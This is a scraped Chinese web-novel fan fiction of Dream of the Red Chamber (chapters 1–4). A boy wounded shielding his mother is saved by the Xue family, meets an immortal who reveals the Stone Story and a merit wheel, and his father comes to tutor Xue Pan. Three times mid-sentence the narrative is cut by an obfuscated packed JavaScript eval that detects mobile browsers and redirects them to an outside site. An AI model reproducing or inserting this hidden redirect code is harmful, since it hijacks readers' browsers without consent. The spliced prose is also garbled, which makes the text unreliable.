《[红楼]与冷美人共谋大业》 1. 扶灵归乡 虽说已是仲春时节，但天气仍旧湿冷，空气中传来丝丝凉意。苏鸿向车外探出头，看着天边挂着的乌云担忧道：“父亲，看天色是要下雨了。” 苏父本闭目养神，见儿子这般说才向外看去，蹙眉道：“咱们这里离县里还有十几里，要冒雨赶路恐怕不好。我恍惚记得官道旁有个避雨亭，不知是在这附近不是？” 他自进士及第后，仅带着妻子返乡过一次，将父亲接到京城后就再也不曾回来。是以不少细节都记不大清，一时竟不敢认路。 说着便看向一旁的苏母，苏母随手将书本倒扣，笑道：“夫君记得清楚。咱们刚过凤桥驿，就在前面岔路上拐过去就是。鸿哥儿，快进来，仔细风吹着你。” 苏鸿笑着放下帘子依偎在苏母身边，有些腼腆道：“母亲不必忧心，儿子无事。” 说话间，雨水滴滴答答下起来，天边打了几个闷雷。 苏父看着母子二人依偎在一处心中欣慰，却不免想起已逝的父母。他心中酸楚，却不欲将这样的情感带出，扬声道：“刘大，前面岔路拐过去，在避雨亭避雨。” “是，老爷。” 外头车夫答应着，见前面果然出现一个岔路，隐约看到高大的亭子便知定是这里，驾着车拐进去。身后跟着的两辆马车与镖局的马车也一并拐进来，一时间车轮声伴着雨声十分热闹。 几辆马车一同在避雨亭外停下，待成年男丁穿着蓑衣避开后，苏父才撑着素色油纸伞依次送苏母和苏鸿到亭中小坐。不多时，一个约三十上下的女子和一个穿着素蓝色棉衣的小厮带着坐垫、茶水、茶炉等从车上下来，快步到了亭中。 二人一起请安后便各自忙碌着，将坐垫铺展开，又支起茶炉烧水。所幸茶炉的碳火都是现成的，又在炉子底部，不必担忧风雨侵袭。 苏母见侍音过来，接过侍音带来的手炉笑道：“坐着吧，咱们也赶了几天，马上就到家了。咱们带来的素色线团还够吗？” 侍音回答后便未曾推让，展开带来的垫子坐在苏母下首，低声商议着归家后如何打点针线、如何迎来送往等杂事。 苏父看着装载老父棺木的马车，叹道：“先时给家里去了信，只怕都已经收拾好等我们回去了。” 苏鸿在一旁烧着炉子，闻言道：“家里有叔叔操持再稳妥不过，父亲不必忧心。祖父时常……” 他自没有嫡亲的叔叔，不然也早接来京城了。他口中的叔叔却是父亲的堂兄弟，现今在上元县老家照管族中大小事务、祭祀坟茔等，祖父要落叶归根，早早便给老家去信了。 苏鸿说着忽觉自己说错话，连忙闭口不言，生怕再勾起苏父的伤心事。苏父闻言一怔，却笑着接过话道：“你祖父生前总说金陵烟雨繁华、文人风骚，你都不曾见过，如今倒是可以清净体验几年。” 苏鸿垂眸想着，忽见茶水烧开便连忙奉给父母，笑道：“这里湿冷，父亲母亲喝杯热茶暖暖。” 苏父、苏母笑着接过，小厮早倒好另两杯茶水，殷勤给苏鸿递过去，又奉到侍音身边，见还有剩，才自己也倒了些端在手上暖着。 侍音笑道：“哥儿小小年纪，出落得大人一样孝顺体贴，当真难得。我看常来往的哥儿，没有比咱们家鸿哥儿还聪明孝顺的了。” 苏母笑着搂过苏鸿，眉目间满是慈爱温柔，说道：“自是如此。” 苏父见此，心中越发柔软，只是面上还端着严父的样子。他向雨里看去，忽然间隐约有几个灰色人影，心中暗道不好，当即警惕起来。 大雨天藏头露尾的，必定不是好人。 他悄无声息放下茶杯，正待示意苏母和苏鸿回马车时，就见那伙儿灰衣人似是发现了他们。苏父心中大惊，扬声喊道：“快走！你们两个先走！” 如今世道并不太平，他们一路扶灵归乡自是遇到不少事。幸而苏父自小君子六艺都不曾落下，又请了靠谱的镖师，这才平安回来。只是苏父不曾想到，临了到家却又有这样的事。 不远处歇息的家丁、镖师等听见动静，连忙手持武器赶来护持，车夫连忙套车。只是那些灰衣人动作极快，显然是久经锻炼，竟没有丝毫废话。 苏父掩护苏母和苏鸿上马车后就抄起利剑，和家丁、镖师一同上前。苏父一边抵挡，一边扬声道：“各位好汉，你我素无冤仇，何必下此毒手。我现有百两白银，愿意酬献给各位好汉。” 他好话说了一箩筐，却见灰衣人连个回答也没有，心中一沉。听见马车离开的声音，他才微微松口气，却又见家丁、镖师们渐渐负伤，苏父不由暗暗咬牙。 却见后头有个灰衣人并未上前打斗，见两辆素色马车要走，转身就张弓搭箭。尽管被风雨所阻，但裹挟万钧之势的利箭仍是穿透了头辆马车。 苏父见此场景，明知已无生路，不由万分悲愤。马车中也传来呼喊声，让苏父越发绝望。 他不顾损伤，力要多杀几个报仇，一时身上满是血痕。几个灰衣人倒是混不在意，只想例行公事将撞见他们的人杀了。 正在此时，外头忽然传来滚滚的车轮声，为首的壮年男子呼喝道：“光天化日之下，谁在那里行凶！” 苏父如闻天籁之音，回头一看，似是商队过来避雨，乌泱泱一群人，不少车上已经有壮年男子跳下来往这边跑。灰衣人见此情景连一句废话也无，对视一眼就往回退去。 他们本想顺手解决，如今既然撞见商队，就凭他们几个人想必不能把他们解决干净。好在与他们动手的人似是为守孝回来，并未注意他们在做什么，不必担忧事情败露。 见贼人退走，家丁和镖师们各自检查着身上的伤口，苏父却赶忙跑到被迫停下的马车处，一把掀开车帘就见苏母哭得呜呜咽咽，苏鸿胸口正插着一支箭，看情形气若游丝。 苏父似被当头一棒，苏母见了苏父，方哭出声道：“方才箭穿透车厢，鸿儿一把将我推开，自己却没能躲开。夫君，快快进城啊！” 马车外，本是担忧这家人才来看看的薛怀听见，连忙说：“是什么伤，我这里有大夫，先给孩子看看。” 他虽不知前情，但这几辆马车都是素色，这男人腰间还系着白布，定是扶灵归乡的。既是在赶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285805|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路，哪里会招惹是非，定是那些贼人不知在做什么勾当，见这家人路过就要行凶。 他在外行商，这也属常事，并不罕见。只是大略看去，除了这孩子为救母受伤严重以外，旁人都只是皮外伤，可谓不幸中的万幸了。 苏父一听，连忙转身作揖道：“犬子被那起贼人用箭射伤，正中胸口。多谢恩公搭救，多谢恩公。” 薛怀听见，吩咐：“快请王大夫来，再把我匣子里专治外伤吊命的药拿来。” 苏母见有大夫和伤药也冷静许多，止住眼泪。不多时，果然有大夫提着药箱赶来，薛怀道：“快别客气，上车为他医治。” 侍音和风信早将车帘大开，苏母见大夫过来，连忙让开道：“一切都拜托您了。” 王大夫是惯常随薛怀走商的，也遇到过不少次箭伤，连忙把脉、探查苏鸿的身体后回身道：“东家，老爷，箭上无毒，外伤却是麻烦。这耽搁不得，老夫要即刻将箭拔除，哥儿才有一线生机。” 苏父闻言，神色不由灰败，强忍悲痛道：“犬子安危全在您身上，医者尽管放手施为，其余的就看他自己了。若有不测，也是我和内人命中合该无子。” 王大夫答应着，转身打开医箱取出一把锋利的匕首。苏母见了心痛如绞，却不敢影响医者，含泪忍耐。 见车厢内忙活着，薛怀也说不出让苏父到亭中避雨歇息的话，只道：“哥儿救母至诚，上天有感，定不会收走他的。” 侍音在一旁依照医者的吩咐烧酒，亦是两眼含泪。她们家姑娘自小禀赋柔弱，好容易才得来鸿哥儿，可巧生得聪慧孝顺。才没了太爷，若鸿哥儿在此刻没了，只怕老爷和她们姑娘都受不住这样的打击。 若苍天有感，千万别让这样的祸事降临到苏家身上。 许是一刻钟，也或许是两刻钟，王大夫小心翼翼将箭头取出，风信早按着他的交代将伤药洒在伤口处，不过一两息就将喷涌而出的血液止住。 风信忙道：“大夫，血止住了！” 正巧天气放晴，方才豆大般急急砸下的雨水倏忽便收了回去，瞬息间又是阳光满地。众人一时惊诧，抬头看去却见乌云已散，太阳正高高挂在天上。 王大夫将箭头放好，见箭头上没有血槽松了口气，又转身去看苏鸿的伤。见果然止血，又把脉一番，见脉象平和许多，便回身道：“东家，老爷，哥儿的外伤已处理好，剩下的只能看哥儿自己。这几日哥儿要起高热，若能熬过去便无妨。” “阿弥陀佛……” 苏父、苏母连连念佛，这才暂且放下心。 王大夫不便与苏母直接说话，也不去看她那边，只对侍音细细交代这几日应如何照料苏鸿。见事事交代清楚，他便飞也似地下了马车回到后面。 苏父见儿子暂且平安，这才有心思关注自己，连忙披上家丁送来的蓑衣，用帕子将脸上的雨水汗水一同擦干净。他纳头便拜道：“恩公今日救我一家老小，小弟今生没齿难忘，结草衔环也要报答恩公。” 苏母不便下车，也俯身深深拜下，感激之言自是无需再说。 2. 遇仙 薛怀见苏氏夫妇如此客气，连忙扶起苏父道：“贤兄弟莫要如此，出门在外遇到这样的事，自然要相帮的。何况看兄弟也是要回金陵，你我想必是同乡，更该救助。” 苏父闻言抓着薛怀的双手道：“恩公，小弟上苏下理，金陵上元人氏。先时任翰林院编修，因老父登仙，这才带家眷扶灵归乡。若恩公不弃，还望互通姓名，日后也好报答。” 即使鸿哥儿没福，他们夫妻二人并家丁、镖师人等也是十几条命。因扶灵回乡，他们一路兢兢业业护持，若非恩公及时来救，他有何面目去地下见他们。 薛怀听他是翰林院的官儿，扶着苏父的手道：“贤兄弟，今日既有缘分，不必说什么报答不报答的。先父曾任紫薇舍人，我上薛下怀，金陵江宁人氏，现今在内府挂了虚职行商。论起来，咱们都侍奉同一位主子，可见此行是上天安排。” 他父亲曾是紫薇舍人，薛家又是书香继世之家，碰见翰林更觉得亲密些。翰林院的苏翰林，他只听人说过品行极正派、学识极广深，只是碍于庶务缠身没有见过。今日一见，果然名不虚传。 虽不知学问如何，能养出这样孝顺的孩子，苏翰林的品行也不必再疑。何况方才天气忽然放晴，也是一等一的好兆头，苏家的哥儿定是有后福的人。 苏父虽猜到薛怀不是寻常人，但听闻是皇商薛家仍是大吃一惊。薛公虽逝世已久，但在文官中仍有不少人脉。更别提薛家领着内府帑银行商，家中极富极贵，更难得的是今上的宠信。 他倒是不曾想到，薛家这位家主竟是急公好义的侠士，今日救他于水火之中。 二人拉拉杂杂说了许多，薛怀对苏父实在喜欢，便道：“如今天气放晴，你们正该抓紧时间进城，让哥儿好生休养。我不便随你们去，倒是请王大夫随行，也好照看。待哥儿好了，贤弟别忘了带他给我磕头请安就是。” 一时间二人依依惜别，薛怀又请王大夫暂且跟着苏家，等苏家哥儿情况稳定了再回薛家。幸而江宁县和上元县相距不远，往来倒也方便。 且不说苏家一行人赶路归乡，苏鸿在半生半死间魂魄飘飘荡荡不知到了何处，只觉一股冷冷的幽香传来。不多时，香气骤然消散，凌冽的冷寂似乎要将苏鸿的魂魄冻僵。 他打个寒颤，有些惧怕这样的空寂之地，扬声喊道：“哪位神仙爷爷在此？” “这儿可没什么神仙爷爷。” 不远处的蒲团上忽然出现一道人，苏鸿不敢细看，连连拜道：“神仙奶奶，敢问此乃何处，小子家中父母均在，若出来时间长了，恐惹父母担忧。” “你这……”道人咽下口中未尽的话语，冷笑道：“蠢材，枉你在此间生长八年，怎么还不曾破解胎中之迷？” 话音未落，苏鸿只觉脑中轰鸣一声，似乎有什么炸开。但细细体察，却并未有特殊之处，因而一时怔住。 “还望神仙奶奶明示，小子不解其意。” 佛教说人在转世投胎时会忘却前世一切经历、关联、记忆，此谓胎中之迷。方才虽有异状，他却不曾觉醒前世记忆，也不知这道人是何用意。 道人又打量了两眼，笑道：“是了，我忘了。既如此，就让你看一眼，能领悟多少全看你自己吧。” 话音刚落，她伸出手指隔空在苏鸿额上一点，苏鸿当即冷汗津津，忍着头晕细细领悟。虽不认识这道人，但度其意思，竟是与自己从前有旧，想必不会害他。 不管让他看什么，总归是好东西，能多看些最好。 他凝神看着脑海中飞速闪过海一样的文字，间或闪过“好”“了”，又有“到头一梦，万境归空”等语，随即就是什么贾家甄家、薛宝钗、林黛玉、贾宝玉等等诸多人物，讲到贾迎春回家探亲时骤然停止，他猛然咳嗽一声，只觉头痛欲裂。 他道：“敢问仙师，小子恍惚听父亲说起过什么宁国府、荣国府，难不成就是这里头的？” 他还想问这是否就是现世，只是料定这位道人不肯说，便也不去费工夫。 “你只记着罢了，待你回去后自然知道。还有一句，要你扶救世人，尤其太虚幻境榜上有名者，若有可为之处，还当留心。” 苏鸿还待说话，只觉双眼迷离，神志昏昏，待过了冷寂之地后又是一阵冷香。不知过了多久，他才忽然清醒，睁开眼正好与在床边坐着十分憔悴的苏母对个正着。 苏母惊喜不已，含泪喊道：“鸿儿，你可算醒了，快让娘担心死了。王大夫呢，快请王大夫来！” 风信一边答应着，一溜烟跑去外头找大夫。 苏鸿这才察觉到自己十分虚弱，恍惚片刻后见似是在房屋内，才哑着嗓子道：“母亲，孩儿无事。咱们这是回家了吗？” 苏母点头，含泪用棉花蘸水递到苏鸿唇边润润，说道：“咱们平安到家了。幸好遇到薛老爷行商回来，商队又有随行大夫，这才把咱们一家救回来。你叔叔早早帮咱们打理好房舍，又日日派人到城门口接应。你昏迷了几日，你叔叔每日都来探望。” 苏母说到此处，眼圈儿又红了。苏鸿心中咂摸“行商回来的薛老爷”这个形容，想起自己刚看到的“石头记”，不由一惊。又听母亲夸赞叔叔，便道：“叔叔慈爱，孩儿自然记得，只是母亲千万别让叔叔亲自探视，等孩儿好了自去叔叔那里请安。” 普天下未必有长辈探视晚辈的规矩，只是天下父母之心，哪里会看孩儿受苦却不见面的。父母便罢了，堂叔也是自家人，但不必想也知叔叔定是忙前忙后好些日子，再让叔叔日日探问，不免给叔叔增添许多麻烦。 苏母心中慰贴，闻言笑道：“你叔叔也挂念你，不让他来他反倒心中不安。你如今才好些，别想太多。” 说话间，听到消息的苏父和苏珑、王大夫便一同进来，苏母连忙让开位置方便王大夫诊脉。 苏鸿见他们进来，连忙招呼道：“父亲、叔叔安，王大夫好。” 苏父见苏鸿醒来有力气说话，着实松了口气，与苏珑说：“你这个侄儿，最是孝顺体贴，方才定是在和你嫂子说不要你做叔叔的来探视。” 苏母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285806|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑道：“正是呢，鸿哥儿这个性子真真体贴。” 王大夫听着，也笑道：“哥儿前几日高热都能挺过来，今日一醒，再没有意外了。待我诊脉，再为哥儿调方。这些日子好生休养，别让哥儿劳神。” 这鸿哥儿不过八岁上下，论理也不必叮嘱这些。只是读书人家未免对子孙严格些，他倒是担忧苏老爷会要苏鸿即刻读书。 苏父等连连答应，就见王大夫坐在床边，双手抓脉。诊脉后，又细细探查苏鸿的面色、舌苔、伤处，见果然好些，便笑着起身：“果然不妨事。先时就想告诉你们，薛老爷手上的丸药可是好东西，更严重的伤也有治好的，哥儿就是吃亏在年纪小。” 苏珑是常年住在金陵，闻言笑道：“谁不知道薛家老爷为人，最是仗义疏财、急公好义。手上的各色伤药齐全，又舍得给随行的活计们用，可不就打出名声来了。只可惜膝下的哥儿不爱读书，性子疲惫懒散，不知请什么样的严师才能制住他呢。” 苏父闻言心中一动，却只感慨道：“亏得遇上他。” 王大夫已经调整了药方，交代给下人后便不欲打扰他们团聚，自便离开。苏珑怕耽误苏鸿休息，只拉着苏鸿的手问候两句便同苏父离开。 侍音一边给苏鸿掖着被子，一边笑道：“如今哥儿已经快好了，太太这几日未曾合眼，也该去歇歇，不然哥儿也不放心。这里有我照看，太太只管放心。” 闻言，苏鸿连忙道：“母亲不必担忧，有姑姑照看我呢。” 苏母闻言，叮嘱侍音和风信照看好苏鸿，果然在外头榻上歪着休息。她几日夜熬下来已经是身心俱疲，幸好鸿儿挺过来了，她才能放心睡去。 苏鸿倒不大能睡着，他从仙境回来，得了一段传奇故事，此刻正是新奇的时候。他闭目正待细细回忆，却见眼前骤然出现一轮金环，上书“功德宝轮”四字，不由被吓得睁开眼。而此时，眼前却不曾有金环。 侍音正坐在她床旁针黹，见状轻声问道：“哥儿怎么睡不着，是伤口又疼了？”一边问，一边将手放到他额上试探温度。 苏鸿怕惊动母亲，任由侍音试探温度，低声道：“只是睡不着，伤口不疼。我闭目养神，姑姑不必担忧。” 说着就连忙闭上眼，果然再次见到金环出现在眼前。他小心翼翼上前，硕大的金轮几乎与他同高，周身的金光璀璨耀眼，却散发出威严深沉之感。 凑近时，苏鸿才看到金环被分割成七个部分。正中是一个稍小的圆，上面写着“壹佰”，外围则被分割成六等份，每一份上写着物品名，下面各自也标注着“贰佰”“叁佰陆”等不同的数字。 他不敢擅自去动，只细细观察眼前的金轮。可转身时不知触碰到什么，耳边忽然出现一段缥缈仙音，细听才知晓是在介绍眼前的金轮。 原来，司月星君手上有一法宝，名曰“至善宝轮”，记载天下人的功德过失。凡人出生，都有星君赐下“功德金轮”，用以记载本人一生的功德过失，待登仙之后由星君交付地府，由判官裁断下世福祸。 3. 初见 只是苏鸿的功德宝轮似与常人不同，经仙师点化后，竟可以用功德去置换相应物品。更是直言，他日若功德满身，便可以凭借功德直升仙界。 苏鸿细看，物品置换处中有一物品竟是“须弥宝戒”，看其介绍，竟是自成一方世界。苏鸿心中一动，待看到竟是需要壹仟功德才能置换，又看看自己堪堪壹佰的功德，不由自惭。 其他的物品有医术、米粮、架桥法等等，共是六样，据介绍说每一年会随机更换一次。苏鸿的目光在米粮上停留一瞬，心道为何仙家宝物中会有此物，只是未曾在意。 看过功德宝轮，苏鸿才明了为何仙师会叮嘱自己扶救世人。只是“太虚幻境榜上有名者”无非是指石头记中金陵省的女子，难道救她们会得到更多的功德不成？ 想到此处，苏鸿又将石头记自脑海中翻出来从头细看，暗暗品悟。不多时，又忽然察觉有人轻轻推攘自己，睁开眼就见是风信在侧。 他笑道：“爷，王大夫吩咐要清清静静饿几天，今儿就用些清粥配些腌菜。”说着就轻手轻脚把苏鸿搀着坐起来，往背后塞了两个靠枕。他安置好苏鸿，转身将小桌子抬到床榻上，才将清粥呈上。 苏鸿也不矫情，他昏迷几日全靠药汤吊命，此时嘴里全是苦味儿。他试探着活动下胳膊，笑道：“你在旁边吃你的吧，我自己来就行。” 说着就自己用勺子慢慢喝粥，配着咸津津的腌菜吃着才觉得身上有些力气。待用完饭菜，他才有气无力靠在靠枕上问道：“这几日都发生了什么事？” 风信早就吃完饭，见他一副病容也不敢催促，待他吃完才连忙将碗筷桌子都收拾好。一边收拾着，他道：“爷不知道，在避雨亭真是好惊险场面，幸亏薛家也来避雨，这才救下咱们。” 他坐在脚踏上道：“那日爷为了救太太昏迷过去，不知道。老爷领着镖师和咱们家人正抵抗着，外头路上乌压压出现几十辆车，都是薛家的。薛家人瞧见这边出事，也带着他们的伙计过来帮忙。” “那伙儿不知道打哪里来的作孽畜生见来得人多，不敢再缠斗，赶紧跑了。幸好薛家来得及时，咱们的人都是皮外伤，唯有爷为了给太太挡箭受伤严重。薛家不愧是惯常行商、得皇爷爷宠信的，随行有大夫不说，还有珍贵的伤药，一并给爷用上，当即就止血了。” 他说着也感慨道：“老爷和薛老爷说起来，竟都是同僚，有些香火情。薛老爷便干脆让王大夫跟咱们回来，等爷好了再让王大夫回去。我也跟老宅哥哥们打听过，这薛家在金陵竟是头一份儿里的，家里不下百万，又都说薛家老爷极侠义，真是一点不假。” 苏鸿听风信这般形容，再想到书里对薛家的形容，便知自己碰上的恩公薛家定是“丰年好大雪，珍珠如土金如铁”的薛家。只是书里的薛家开场就没落了，不知是碰上了何事，他也不好分辨。 他不便再问薛家，转而想起祖父，问道：“祖父下葬的日子定了吗？” “前几日老爷请了阴阳生，定了三月十五下葬。爷的身体恢复的不错，定是能赶上的。” 苏鸿闻言点头，任由风信服侍着躺下，自去梦境中看石头记。风信有些诧异苏鸿今日表现得不同寻常，若换了从前，他听了新鲜事总要缠着风信去打听清楚。只是想到苏鸿才生了大病，便也不以为意。 晚间苏父、苏母过来探视，见他能吃进水米，精神头也不错，当即都放下心，对薛家的十分感激硬是作成十二分。 三月里苏鸿便行动无碍，只是不曾彻底好全，送了祖父下葬后便仍按大夫的交代在房里养着。直拖到四月中旬，他才彻底痊愈，只在胸口上留了一道箭疤。 这日，王大夫见苏鸿好全了，便来向苏父请辞。苏父便道：“犬子全仰赖先生才得以活命，不可不酬谢，先生千万莫要推辞。” 说着便示意下人将早准备好的百两银子呈在托盘中奉上，笑道：“我们家算是耕读人家，先生若是不收，便是嫌我们小气了。” 王大夫本要推辞，他领着薛家的供奉银子，来此也是薛家烦他，不好收苏家的酬谢。但听苏父如此说，便知他也是爽快人，诚心要谢，便道：“治病救人是医者的本分，原也当不得您这般。如此我便厚颜收下，只是今日无论如何也要家去了。” 苏父笑道：“先生不必着急离开。前几日我才派人到薛家上拜帖，约定今日携妻子拜访，我们顺路回去岂不更好？” 说话间，苏鸿过来请安。苏父便道：“鸿儿，你来得正好，快来给王先生磕头。” 风信早取了垫子，苏鸿便磕头拜下，说道：“小子今日活命全仰赖先生，先生受我一拜。” 王大夫也是经历惯了这样的场面，闻言笑着扶起苏鸿道：“哥儿是有后福之人，再不会多灾多难。” 他在苏家也待了许久，对苏鸿也有了几分了解。天性聪颖、仁孝，不说远的，只这聪颖一项就超过他们东家哥儿百倍了。可恨他们家蟠哥儿，在苏鸿面前竟像是空长了几岁，一点儿也比不过。 王大夫心中难免恨铁不成钢，为薛怀担忧。 苏父笑道：“承先生吉言。鸿儿，你回去换了衣裳，随为父和你母亲去薛家拜谢。” 苏鸿早就有心接触薛家，闻言连忙答应，给苏母请安后才回房换了衣裳。不多时，众人就收拾齐全，一起坐车往薛家去。 待到了薛家门前，苏鸿打眼一眼，一条街上人来人往，不住有人到薛家门前递拜帖。角门处几个衣帽齐整的门房值守，见苏家的车过来，连忙往里让。 苏父和苏鸿下车，便有薛家家丁上前道：“苏老爷，老爷就在书房迎候，请上轿吧。太太在后头，我们这就请苏太太到内院去。”说着又来了两个男丁接过苏家下人抬来的谢礼，要拿去登记入库。 苏鸿见薛家规矩这般严整，心中也不免叹服，暗道果然是大家气象。 苏父答应着，带苏鸿一起换了轿子，待到书房时才停下。苏父一下轿，就见薛父已经等在门前迎上来，苏父忙道：“今日来此是拜谢贤兄，怎好让贤兄这般。” 苏鸿跟在苏父后头，连忙作揖拜见，喜得薛怀拍了拍他的肩膀笑道：“好孩子，看见你站在这儿，我心里就高兴得很。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285807|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 说着也向苏父道：“贤弟既与愚兄交好，不必说那些繁文缛节，快进来。” 三人进了房内分主宾坐下，苏父便拱手道：“我全家蒙贤兄搭救，今日特来拜谢。救命之恩，全在弟心中，绝不敢忘。鸿儿，快磕头。” 苏鸿立在苏父身旁，闻言连忙上前磕头，说道：“伯父于我全家恩同再造，小子不敢忘怀，日后结草衔环，定当报答。” 薛怀见他眉目清明、说话爽利，加之深知他为人孝顺，一时心中快慰。他连忙扶起苏鸿笑道：“我走南闯北这么多年，救过的人不知凡几，都是缘分使然。你们也不必放在心上，为陛下效劳，也该有此仁爱之心。” 说着又向苏父道：“你们哥儿年岁还小，让他到内院给内子瞧瞧。她平生最爱齐全孩子，你们哥儿一去，她定然喜欢。” 此乃其一，其二则是苏鸿年岁太小，把他拘在这里听大人讲话想必也无聊。倒不如打发他到内院去，也能和蟠儿、宝钗说话解闷。 苏父一口答应，薛父便让小厮领了苏鸿过去。待苏鸿离开，他才对苏父道：“听闻贤弟父亲下葬，我因才从外头回来，不好过去，贤弟勿怪。” 提起此事，苏父也颇为敬服薛怀为人。本是薛怀救下他们，听说他父亲下葬，薛怀倒是派人送来丧礼。如此礼遇，倒让苏父不好意思。 苏父忙道：“这也是行当规矩，弟怎会多心。” 商行里常言，从外头回来的人身上不知粘带些什么，所以讲究些的人家常要斋戒休息几日。即便不说这些，薛怀风尘仆仆从外地回来，想也是水土不服要调养的，岂有撑着身体到苏家的道理。 且不说这二人越聊越投机，苏鸿到了内院，下人们忙上前打帘通报。 苏母笑道：“是我家哥儿来了，今日来了，定是要给你们老爷和姐姐你磕头的。” 话音未落，苏鸿便走进来，见上首正坐着位满头珠翠、眉目温柔的太太，便知定是薛太太。他上前跪下道：“给您请安。” 薛太太一看苏鸿身量高挑，眉清目秀，又听说他是个孝顺孩子，当即喜欢极了。让下人把他扶起来，笑道：“好孩子，你走近些。” 她身边依偎着六岁上下的女童，见他过来也是十分好奇。苏鸿目不斜视，走到薛太太跟前。薛太太笑道：“这是你大妹妹，你叫宝姐儿就是了。” 宝钗起身给初见的苏家哥哥行礼，想到他救母险些丧命，心中便先存了一份敬意。苏鸿则是想起她的命运，见她现下这般活泼自在，心里不免为她怜惜哀叹。 二人厮见过，薛太太喜得搂着他在身边坐下，向苏母道：“鸿哥儿人孝顺，又这样聪明机灵，斯斯文文的，来日不知怎么孝敬你们做父母的。我的哥儿活像是讨债来的，人也孝顺听话，就是不喜读书跟大人对着干。幸好我的姐儿聪明孝顺，比她哥哥强十倍呢。” 苏母只以为薛太太是随口夸赞，笑道：“当不得姐姐这样夸。家里的孩子只要孝顺懂礼，旁的自有长辈操持教导。何况姐姐家，很用不着哥儿从举业上发迹，只要孝顺懂礼，前程就错不了。” 4. 薛蟠拜师 这话正说到薛太太心坎上，她自家人知自家事，见苏母也是爽利人，越发喜欢她们母子。她笑道：“去看你们大爷在哪儿，喊他过来见客。” 不多时，便有丫头过来，笑道：“老爷让爷去前头会苏老爷了，说稍后就把爷放回来。” 薛太太笑着对苏母道：“你家老爷是科举出身，说起来也真叫人羡慕。我姐姐嫁进贾家，他家姑奶奶嫁了林家探花郎，你们老爷许是见过他。” 林家虽说爵位没了要从举业发迹，但先祖也是开国的功臣，家底总归比寻常读书清流人家厚实些。林姑爷又是探花，先入翰林，出来选入都察院，日后前途不可限量。 如今天下太平，武官出身越发不中看了，倒是文官得陛下看重。他们这样的勋贵虽说有陛下的宠信，又生活优渥，难免也想出两个读书人继承家业。可惜蟠儿不能耐得住读书的苦，珠儿那孩子虽聪敏，可恨又是个短命的。 苏母笑道：“我们老爷也曾与林老爷在翰林院共事过一段时日，曾说过林老爷雅量高致，只可惜我无缘见过贾氏夫人。既是出身荣府，其风采也可见一斑了。” 说话间，薛蟠从外头过来，先给母亲请安，薛太太便笑道：“快给你苏婶婶请安。” 苏鸿打量着薛蟠，见他约十二三的模样，眉目也算清秀，身姿挺拔，猛一看倒也不像书里那般不堪。但想到可能是薛伯父去世后无人教养，便也不再多想。待他给苏母见礼后，自己也口称大哥哥，和薛蟠见礼。 薛太太见薛蟠和苏鸿相处融洽，便自和苏母谈论如今都中时兴的花样绣法和新文。待前头来人时，薛太太才与苏母说：“咱们同在金陵，你们若不嫌弃要多来家里坐坐，我也正愁没个人说体己话呢。” 苏母笑着答应，对薛太太这样性格温柔爽利的人也很是投缘。原本担忧薛家门楣高，看不上苏家，见薛太太说得这样真心实意也松了口气。只可惜他们家虽出了热孝，却也不便频繁走亲访友，以免引人注意。 今日来薛家也是不得不来，所幸薛家也并非拘泥的人家，不然反而要嫌怪苏家多事了。 苏家一行人离开后，苏父便对苏鸿道：“方才我和你薛伯父说定了，你薛蟠哥哥随为父念书。为父想，他也不必从科举发迹，自是能袭官，读书不过是知道些道理就够了，为的是能约束他。你也警醒些，与蟠哥儿好好相处，若有不妥应及时纠正。” 苏鸿本在发愁如何与薛家亲近，闻言先是一喜，随即问道：“父亲，咱们尚在孝期，薛伯父难道不在意这些？” 苏父叹道：“你伯父说自小请了多少名师都不见效，见为父愿意，自是再无不从的。何况你没经历过，守孝虽说不宜访亲会友，难不成就真的在家关门闭户三年？多是出了热孝就无甚大碍。” 朝廷缺人才，莫说进士出身，就是举人出身都可分派到地方任知府。他怎么说也是进士出身，又可巧在金陵守孝。何况薛家于苏家有救命之恩，他自会尽心尽力，岂不比寻常坐馆先生来得更好。 苏母笑着搂住苏鸿，道：“咱们鸿哥儿自小就像小大人似的，可难住他了。说来我见蟠哥儿眼神清明，是有家教的孩子，听他母亲说人也孝顺。如今有了师徒名分，他自然也听夫君的。薛家不缺钱财，若能帮着薛老爷教导好蟠哥儿，也是尽我们的心意了。” 苏父笑道：“这话很是，就算蟠哥儿是个朽木，也得雕些花样出来。因咱们守孝，为父不便到薛家坐馆。幸而两家离得不算远，每日让他早来晚归，也不算麻烦。” 苏母笑着答应，心里盘算着给薛蟠收拾房屋住处，让他中午有个落脚之处。随即又道：“平日里夫君只教鸿儿，也没布置过正经书房。我看不如在外院寻个院落，再问问叔叔家的哥儿要不要一起，夫君也教导教导子侄。” 